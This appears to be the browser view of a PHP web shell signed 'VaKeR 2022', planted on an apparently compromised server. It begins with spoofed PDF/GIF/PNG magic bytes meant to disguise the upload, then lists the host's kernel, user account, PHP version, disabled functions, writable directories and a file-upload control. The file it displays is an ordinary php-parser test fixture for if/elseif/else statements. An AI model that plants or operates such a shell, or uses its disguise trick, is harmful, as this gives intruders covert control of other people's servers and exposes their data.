%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/vendor/nikic/php-parser/test/code/parser/stmt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/vendor/nikic/php-parser/test/code/parser/stmt/if.test
If/Elseif/Else
-----
<?php

if      ($a) {}
elseif  ($b) {}
elseif  ($c) {}
else         {}

if ($a) {} // without else

if      ($a):
elseif  ($b):
elseif  ($c):
else        :
endif;

if ($a): endif; // without else
-----
array(
    0: Stmt_If(
        cond: Expr_Variable(
            name: a
        )
        stmts: array(
        )
        elseifs: array(
            0: Stmt_ElseIf(
                cond: Expr_Variable(
                    name: b
                )
                stmts: array(
                )
            )
            1: Stmt_ElseIf(
                cond: Expr_Variable(
                    name: c
                )
                stmts: array(
                )
            )
        )
        else: Stmt_Else(
            stmts: array(
            )
        )
    )
    1: Stmt_If(
        cond: Expr_Variable(
            name: a
        )
        stmts: array(
        )
        elseifs: array(
        )
        else: null
    )
    2: Stmt_If(
        cond: Expr_Variable(
            name: a
        )
        stmts: array(
        )
        elseifs: array(
            0: Stmt_ElseIf(
                cond: Expr_Variable(
                    name: b
                )
                stmts: array(
                )
            )
            1: Stmt_ElseIf(
                cond: Expr_Variable(
                    name: c
                )
                stmts: array(
                )
            )
        )
        else: Stmt_Else(
            stmts: array(
            )
        )
        comments: array(
            0: // without else
        )
    )
    3: Stmt_If(
        cond: Expr_Variable(
            name: a
        )
        stmts: array(
        )
        elseifs: array(
        )
        else: null
    )
    4: Stmt_Nop(
        comments: array(
            0: // without else
        )
    )
)

VaKeR 2022